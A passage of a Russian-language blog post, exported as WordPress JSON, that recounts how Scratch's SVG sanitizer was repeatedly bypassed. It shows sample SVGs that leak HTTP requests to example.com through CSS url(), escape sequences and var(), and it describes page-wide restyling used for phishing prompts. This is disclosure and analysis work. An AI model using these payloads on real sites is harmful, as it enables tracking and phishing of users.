\u0441\u0430\u043d\u0430\u0446\u0438\u0438 SVG: \u0442\u0435\u043f\u0435\u0440\u044c \u043e\u043d \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u043b\u0441\u044f \u043f\u0440\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 SVG, \u0430 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0438 \u0435\u0433\u043e \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0432 scratch-svg-renderer. \u0421 \u044d\u0442\u043e\u0433\u043e \u043c\u043e\u043c\u0435\u043d\u0442\u0430 Paper.js \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0443\u0436\u0435 \u0441\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 SVG.\u042f \u043d\u0430\u043f\u0438\u0441\u0430\u043b \u00ab\u0447\u0430\u0441\u0442\u0438\u0447\u043d\u043e \u0440\u0435\u0448\u0435\u043d\u0430\u00bb, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043d\u0435 \u0437\u043d\u0430\u044e, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u043b\u0438 \u0432\u043e\u043e\u0431\u0449\u0435 \u0441\u0430\u043d\u0430\u0446\u0438\u044f \u0434\u043b\u044f \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u0435\u043c\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c SVG. \u0412 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0435 Scratch \u043c\u043d\u0435 \u0441\u043a\u0430\u0437\u0430\u043b\u0438, \u0447\u0442\u043e \u0443 \u043d\u0438\u0445 \u00ab\u0435\u0441\u0442\u044c \u043c\u0435\u0440\u044b \u0437\u0430\u0449\u0438\u0442\u044b \u043f\u0440\u043e\u0442\u0438\u0432 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u00bb, \u0438\u0437-\u0437\u0430 \u0447\u0435\u0433\u043e \u0442\u0430\u043a\u0430\u044f \u0441\u0430\u043d\u0430\u0446\u0438\u044f \u0431\u044b\u043b\u0430 \u0431\u044b \u0438\u0437\u0431\u044b\u0442\u043e\u0447\u043d\u043e\u0439. \u041f\u0440\u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0435 proof-of-concept \u044f \u043d\u0438 \u0440\u0430\u0437\u0443 \u043d\u0435 \u0432\u0438\u0434\u0435\u043b \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u043e\u0432 \u0442\u0430\u043a\u043e\u0439 \u0437\u0430\u0449\u0438\u0442\u044b, \u043d\u043e, \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u043e\u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u0430.\u0427\u0442\u043e \u0436, \u0442\u0435\u043f\u0435\u0440\u044c \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u044d\u0442\u043e\u043c\u0443 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044e SVG \u043d\u0430\u0432\u0435\u0440\u043d\u044f\u043a\u0430 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b \u0438 \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u044e\u0442 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439.2025 \u0433\u043e\u0434: HTTP-\u0443\u0442\u0435\u0447\u043a\u0430 \u0447\u0435\u0440\u0435\u0437 url() CSS\u0412 2025 \u0433\u043e\u0434\u0443 \u0432\u044b\u044f\u0441\u043d\u0438\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 url()\u00a0\u0432\u043d\u0443\u0442\u0440\u0438 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u0440\u0430\u0432\u0438\u043b CSS \u043d\u0430\u043f\u0430\u0434\u0430\u044e\u0449\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u0441\u043e\u0437\u0434\u0430\u0442\u044c SVG, \u043f\u0440\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 \u0441\u043e\u0437\u0434\u0430\u044e\u0449\u0438\u0439 \u0432\u043d\u0435\u0448\u043d\u0438\u0439 \u0437\u0430\u043f\u0440\u043e\u0441. \u041f\u0440\u0438\u043c\u0435\u0440\u044b:&lt;svg xmlns=&#187;http:\/\/www.w3.org\/2000\/svg&#187;&gt;    &lt;!&#8212; \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0439 \u0441\u0442\u0438\u043b\u044c &#8212;&gt;    &lt;rect style=&#187;background-image: url(https:\/\/example.com\/ping)&#187; \/&gt;    &lt;!&#8212; \u0442\u0430\u043a\u0436\u0435 \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u043b\u0435\u043c\u0435\u043d\u0442 &lt;style&gt; &#8212;&gt;    &lt;style&gt;        .img {            background-image: url(&#171;https:\/\/example.com\/ping&#187;);        }    &lt;\/style&gt;    &lt;rect class=&#187;img&#187; \/&gt;&lt;\/svg&gt;\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0431\u044b\u043b\u0430 \u0440\u0435\u0448\u0435\u043d\u0430 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435\u043c \u043a\u043e\u0434\u0430 \u0441\u0430\u043d\u0430\u0446\u0438\u0438 SVG: \u0442\u0435\u043f\u0435\u0440\u044c \u043e\u043d \u0438\u0441\u043a\u0430\u043b \u043b\u044e\u0431\u044b\u0435 \u0432\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f url()\u00a0\u0438 \u0443\u0434\u0430\u043b\u044f\u043b \u0432\u0441\u0435 \u0441\u0442\u0438\u043b\u0438 \u0438\u043b\u0438 \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u044b, \u0441\u0441\u044b\u043b\u0430\u044e\u0449\u0438\u0435\u0441\u044f \u043d\u0430 \u0432\u043d\u0435\u0448\u043d\u0438\u0435 URL.\u0427\u0442\u043e \u0436, \u0442\u0435\u043f\u0435\u0440\u044c \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u044d\u0442\u043e\u043c\u0443 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044e SVG \u043d\u0430\u0432\u0435\u0440\u043d\u044f\u043a\u0430 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b \u0438 \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u044e\u0442 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439.2026 \u0433\u043e\u0434: HTTP-\u0443\u0442\u0435\u0447\u043a\u0430 \u0447\u0435\u0440\u0435\u0437 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u0431\u0430\u0433\u043e\u0432 \u0432 \u0441\u0442\u0430\u0440\u043e\u043c \u043a\u043e\u0434\u0435\u0412 2026 \u0433\u043e\u0434\u0443 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 url()\u00a0\u0432\u043d\u0443\u0442\u0440\u0438 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u0440\u0430\u0432\u0438\u043b CSS \u043d\u0430\u043f\u0430\u0434\u0430\u044e\u0449\u0438\u0439 \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u043c\u043e\u0436\u0435\u0442 \u0441\u043e\u0437\u0434\u0430\u0442\u044c SVG, \u043f\u0440\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 \u0441\u043e\u0432\u0435\u0440\u0448\u0430\u044e\u0449\u0438\u0439 \u0432\u043d\u0435\u0448\u043d\u0438\u0439 \u0437\u0430\u043f\u0440\u043e\u0441. \u041e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u044d\u0442\u0430 HTTP-\u0443\u0442\u0435\u0447\u043a\u0430 \u0441\u0442\u0430\u043b\u0430 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0439 \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u043a\u0430\u043a \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0442\u0440\u0451\u043c \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u043c \u0431\u0430\u0433\u0430\u043c:\u041d\u0435 \u0443\u0447\u0442\u0435\u043d\u043e \u0442\u043e, \u0447\u0442\u043e CSS \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c url(&#8230;)\u00a0\u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0445 \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0435\u0439\u041d\u0435 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u043b\u0430\u0441\u044c \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044f, \u043f\u0440\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0430\u0442\u0440\u0438\u0431\u0443\u0442 style\u00a0\u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e url(&#8230;), \u0433\u0434\u0435 \u043f\u0435\u0440\u0432\u044b\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u0435\u043d, \u0430 \u0432\u0442\u043e\u0440\u043e\u0439 \u043d\u0435\u0442\u041d\u0435 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u043b\u0441\u044f url(), \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u044b\u0439 \u0432 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 CSS, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u0441\u044b\u043b\u0430\u044e\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 var(&#8212;name)\u041f\u0440\u0438\u043c\u0435\u0440:&lt;svg xmlns=&#187;http:\/\/www.w3.org\/2000\/svg&#187;&gt;    &lt;circle fill=&#187;\\75\\72\\6c(https:\/\/example.com\/ping)&#187; \/&gt;    &lt;rect style=&#187;\/* url(#safe_url) *\/ background-image: url(https:\/\/example.com\/ping)&#187; \/&gt;    &lt;style&gt;        :root {            &#8212;example: url(https:\/\/example.com\/ping);        }        .img {            background-image: var(&#8212;example);        }    &lt;\/style&gt;    &lt;rect class=&#187;img&#187; \/&gt;&lt;\/svg&gt;\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0431\u044b\u043b\u0430 \u0440\u0435\u0448\u0435\u043d\u0430\u00a0\u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c\u00a0\u0431\u043e\u043b\u044c\u0448\u043e\u0433\u043e \u043e\u0431\u044a\u0451\u043c\u0430\u00a0\u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438\u00a0\u0432\u043e\u043a\u0440\u0443\u0433 \u043a\u043e\u0434\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438 \u0442\u0430\u043a \u0443\u0436\u0435 \u0431\u044b\u043b \u0441\u043b\u0438\u0448\u043a\u043e\u043c \u0441\u043b\u043e\u0436\u043d\u044b\u043c.\u0427\u0442\u043e \u0436, \u0442\u0435\u043f\u0435\u0440\u044c \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u044d\u0442\u043e\u043c\u0443 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044e SVG \u043d\u0430\u0432\u0435\u0440\u043d\u044f\u043a\u0430 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b \u0438 \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u044e\u0442 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439.2026 \u0433\u043e\u0434: \u043f\u043e\u043b\u043d\u0430\u044f \u0441\u043c\u0435\u043d\u0430 \u0441\u0442\u0438\u043b\u0435\u0439 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 \u0434\u043e\u043b\u0433\u0438\u0445 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u043e\u0432\u0412 2026 \u0433\u043e\u0434\u0443 \u0432\u044b\u044f\u0441\u043d\u0438\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u0445\u0438\u0442\u0440\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0432 \u043e\u0447\u0435\u043d\u044c \u0434\u043e\u043b\u0433\u0438\u0435 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u044b \u0438 \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0432 \u0431\u0440\u0430\u0443\u0437\u0435\u0440 \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u0441\u0442\u0438\u043b\u0438 \u0432\u0441\u0435\u0445 \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u043e\u0432, \u043d\u0430\u043f\u0430\u0434\u0430\u044e\u0449\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0442\u044c \u043a\u043e \u0432\u0441\u0435\u0439 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435 Scratch \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0441\u0442\u0438\u043b\u0438, \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u044e\u0449\u0438\u0435\u0441\u044f \u0434\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b. \u0427\u0430\u0449\u0435 \u0432\u0441\u0435\u0433\u043e \u044d\u0442\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0434\u043b\u044f \u0440\u0430\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0439, \u043d\u043e \u0435\u0451 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0442\u044c \u0438 \u0434\u043b\u044f \u0431\u043e\u043b\u0435\u0435 \u0437\u043b\u043e\u0432\u0435\u0449\u0438\u0445 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439:\u041f\u0440\u044f\u0442\u0430\u0442\u044c \u043a\u043d\u043e\u043f\u043a\u0443 \u00ab\u041f\u043e\u0436\u0430\u043b\u043e\u0432\u0430\u0442\u044c\u0441\u044f\u00bb.\u0421\u0434\u0435\u043b\u0430\u0442\u044c \u043a\u043d\u043e\u043f\u043a\u0438 \u043b\u0430\u0439\u043a\u043e\u0432\/\u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0432 \u0438\u0437\u0431\u0440\u0430\u043d\u043d\u043e\u0435 \u0440\u0430\u0437\u043c\u0435\u0440\u043e\u043c \u0441\u043e \u0432\u0441\u044e \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0432\u044b\u043d\u0443\u0436\u0434\u0435\u043d\u044b \u0431\u044b\u043b\u0438 \u0438\u0445 \u043d\u0430\u0436\u0438\u043c\u0430\u0442\u044c.\u041e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u0442\u044c \u0442\u0435\u043a\u0441\u0442, \u0441\u043e\u043e\u0431\u0449\u0430\u044e\u0449\u0438\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e, \u0447\u0442\u043e \u0435\u043c\u0443 \u043d\u0443\u0436\u043d\u043e \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u0432\u0435\u0431-\u0441\u0430\u0439\u0442 \u0432 \u043d\u043e\u0432\u043e\u0439 \u0432\u043a\u043b\u0430\u0434\u043a\u0435, \u0447\u0442\u043e\u0431\u044b \u00ab\u0432\u0435\u0440\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u0442\u044c\u00bb \u0441\u0432\u043e\u0439 \u0430\u043a\u043a\u0430\u0443\u043d\u0442 (\u043d\u0430 \u043a\u0430\u043a\u043e\u0439-\u043d\u0438\u0431\u0443\u0434\u044c \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u043e\u0439 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435). \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438, \u0441\u043a\u043e\u0440\u0435\u0435 \u0432\u0441\u0435\u0433\u043e, \u043f\u043e\u0432\u0435\u0440\u044f\u0442 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f\u043c, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u043f\u043e\u0441\u0442\u0443\u043f\u0430\u0435\u0442 \u043e\u0442 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0433\u043e scratch.mit.edu.\u041f\u0440\u0438\u043c\u0435\u0440 \u043f\u0440\u043e\u0435\u043a\u0442\u0430 (\u043d\u0435 \u043c\u043e\u0439):\u00a0https:\/\/scratch.mit.edu\/projects\/1299571218\/\u0420\u0430\u043d\u043e \u0438\u043b\u0438 \u043f\u043e\u0437\u0434\u043d\u043e \u044d\u0442\u043e, \u043d\u0430\u0432\u0435\u0440\u043d\u043e, \u0438\u0441\u043f\u0440\u0430\u0432\u044f\u0442, \u043d\u043e \u043f\u043e\u043a\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0431\u0443\u0434\u0435\u0442 \u0432\u0438\u0434\u0435\u0442\u044c \u0442\u0430\u043a\u043e\u0435:\u0412 \u044d\u0442\u043e\u043c \u043f\u0440\u043e\u0435\u043a\u0442\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0434\u0432\u0430 SVG. \u041f\u0435\u0440\u0432\u044b\u0439 \u0438\u0437 \u043d\u0438\u0445 \u2014 \u044d\u0442\u043e \u00ab\u0442\u0440\u0438\u0433\u0433\u0435\u0440\u00bb:&lt;svg xmlns=&#187;http:\/\/www.w3.org\/2000\/svg&#187; width=&#187;200&#8243; height=&#187;100&#8243;&gt;  &lt;rect x=&#187;0&#8243; y=&#187;0&#8243;&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-477962","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/477962","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=477962"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/477962\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=477962"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=477962"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=477962"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}